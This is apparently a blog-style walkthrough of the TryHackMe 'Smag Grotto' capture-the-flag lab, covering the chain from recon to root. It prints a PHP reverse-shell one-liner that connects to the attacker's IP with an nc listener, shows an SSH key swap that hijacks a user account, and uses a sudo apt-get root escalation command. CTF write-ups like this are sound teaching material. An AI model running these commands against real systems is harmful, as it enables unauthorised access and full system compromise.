Post cover image

October 19, 2026

TryHackMe Smag Grotto β€” Full Walkthrough πŸ•΅οΈβ€β™‚οΈ

Π‘TF: TryHackMe β€” Smag Grotto Author: Davud Qasimov Target IP: 10.82.148.200

By Davud Qasimov

5 min read

In this write-up I'll walk through the full attack chain on the Smag Grotto machine from TryHackMe β€” from initial recon to root access.

None

πŸ” Reconnaissance

I started with a standard full port and service scan:

None 
nmap -sV -sC -p- 10.82.148.200 -oN nmap.txt

The scan revealed two open ports:

  • 22/tcp β€” OpenSSH 7.2p2 Ubuntu
  • 80/tcp β€” Apache httpd 2.4.18 (Ubuntu), page title: Smag

The web service on port 80 was clearly the starting point for the attack.

πŸ“‚ Directory Enumeration

To find hidden paths on the web server, I used dirsearch:

None 
dirsearch -u http://10.82.148.200 -o dirs.txt

Among a long list of 403 responses, one interesting directory showed up:

None 
[301] /mail β†’ http://10.82.148.200/mail/
[200] /mail/

πŸ“§ Mail Analysis and the Leaked .pcap File

None

Browsing to /mail, I found an email2web interface displaying internal company emails for Smag. One key email was titled "Network Migration":

Due to the exponential growth of our platform… we need to migrate everything from our current 192.168.33.0/24 network to the 10.10.0.0/8 network. The previous engineer had done some network traces so hopefully they will give you an idea of how our systems are addressed.

Attached to the email was a file called dHJhY2Uy.pcap. One of the follow-up emails explicitly stated: "all attachments must be downloaded with wget" β€” so that's exactly how I grabbed it.

🧩 Traffic Analysis in Wireshark

Opening the pcap in Wireshark and applying Follow HTTP Stream on the single TCP stream revealed a simple but critical POST request:

None 
POST /login.php HTTP/1.1
Host: development.smag.thm
username=helpdesk&password=cH4nG3M3_n0w
None

This exposed credentials for an internal development panel β€” helpdesk : cH4nG3M3_n0w β€” along with the internal domain name development.smag.thm.

πŸ”‘ Accessing the Admin Panel

None

I added the domain to /etc/hosts:

10.82.148.200 development.smag.thm

Then navigated to http://development.smag.thm/login.php, entered the leaked credentials,

None

and landed on an admin.php page with an "Enter a command" form β€” a classic command execution / built-in RCE scenario.

πŸ’» Exploiting RCE and Getting a Reverse Shell

To test it out, I first submitted a simple command:

None 
ls

I didn't receive a response, so I decided to check using Burp β€” still no response. I decided to try and get a reverse shell.

Next, I generated a PHP reverse shell payload using revshells.com:

None 
php -r '$sock=fsockopen("192.168.132.79",1234);exec("bash <&3 >&3 2>&3");'

Set up a listener on my attacking machine:

None 
nc -lvnp 1234

Submitted the payload through the form on admin.php, and caught the connection:

None 
whoami
www-data

For a more usable shell, I upgraded it right away:

None 
python3 -c "import pty; pty.spawn('/bin/bash')"

πŸ—‚οΈ Post-Exploitation: Finding Backups

Digging through the filesystem, I found something interesting in /opt/.backups/:

None 
jake_id_rsa.pub.backup

This was a public SSH key belonging to user jake, and it was world-writable (-rw-rw-rw-) β€” a clear misconfiguration that could be abused to hijack the account.

πŸ” Swapping the SSH Key and Gaining Access as jake

None

On my attacking machine, I generated a new SSH key pair:

ssh-keygen -t rsa -b 2048 -f id_rsa

Grabbed my public key content:

None 
cat id_rsa.pub

Then, on the target machine, overwrote the backup file with my own public key:

None 
echo "ssh-rsa AAAAB3Nz... root@anonymous" > /opt/.backups/jake_id_rsa.pub.backup

It appeared this backup file was periodically synced into jake's authorized_keys (likely via a cron job). I set the correct permissions on my private key:

None 
chmod 600 id_rsa

And connected via SSH:

None 
ssh jake@10.82.148.200 -i id_rsa
whoami
jake

βœ… Successfully logged in as jake.

πŸš€ Privilege Escalation to Root

First, I checked sudo permissions:

sudo -l

The output revealed:

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get
None

A quick search on GTFOBins gave a ready-made privilege escalation vector for apt-get:

None 
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

After running this command, the shell dropped into root privileges:

None 
whoami
root

πŸŽ‰ Full root access achieved.

🏁 Summary

The full attack chain on Smag Grotto looked like this:

  1. Recon with nmap β†’ found open ports 22 and 80
  2. Dirsearch β†’ discovered the hidden /mail directory
  3. Internal email leak β†’ found an attached pcap file
  4. Pcap analysis in Wireshark β†’ captured credentials helpdesk:cH4nG3M3_n0w and the subdomain development.smag.thm
  5. Admin panel login β†’ found a built-in command execution feature (RCE)
  6. Reverse shell β†’ gained access as www-data
  7. Backup discovery β†’ found a weakly protected public SSH key for jake
  8. Key substitution β†’ gained SSH access as jake
  9. GTFOBins + sudo apt-get β†’ achieved full root access

This lab is a great example of how a chain of seemingly minor mistakes β€” insecure file storage combined with excessive sudo privileges β€” can lead to complete system compromise. πŸ”

None

If you found this write-up useful, follow along for more CTF and pentesting walkthroughs!

Davud Qasimov GitHub: github.com/DavudQasimov LinkedIn: linkedin.com/in/davud-qasimov-798928303 Discord: etozryx_13553